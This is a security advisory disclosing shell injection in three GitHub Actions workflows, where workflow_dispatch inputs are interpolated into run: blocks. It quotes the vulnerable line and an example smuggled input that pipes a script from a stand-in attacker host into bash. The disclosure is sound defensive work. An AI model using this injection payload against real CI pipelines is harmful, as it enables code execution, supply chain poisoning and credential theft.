GHSA-3g6g-gq4r-xjm9 (CVE-2026-35580)

Details

Summary

Three GitHub Actions workflow files contained 10 shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users.

Affected Files

| Workflow file | Injection points | |------------------------------------------|------------------| | .github/workflows/maven-version.yml | 4 | | .github/workflows/cherrypick.yml | 5 | | .github/workflows/maven-release.yml | 1 |

Details

GitHub Actions ${{ }} expressions inside run: blocks are substituted before the shell interprets the command. When a workflow_dispatch input is placed directly in a run: block, an attacker who can trigger the workflow can break out of the intended command and execute arbitrary code.

Example — `maven-version.yml` (before fix)

- name: Set the name of the branch
  run: echo "PR_BRANCH=action/${{ github.event.inputs.next_version }}" >> "$GITHUB_ENV"

A malicious input such as 1.0.0"; curl attacker.com/backdoor.sh | bash; echo " would be interpolated directly into the shell, executing arbitrary commands with the job's GITHUB_TOKEN permissions (contents: write, pull-requests: write).

Impact

Arbitrary code execution within the CI/CD runner
Repository modification via the contents: write token (push malicious commits)
Supply chain poisoning — downstream users who clone or build receive compromised code
Credential exfiltration from the GitHub Actions environment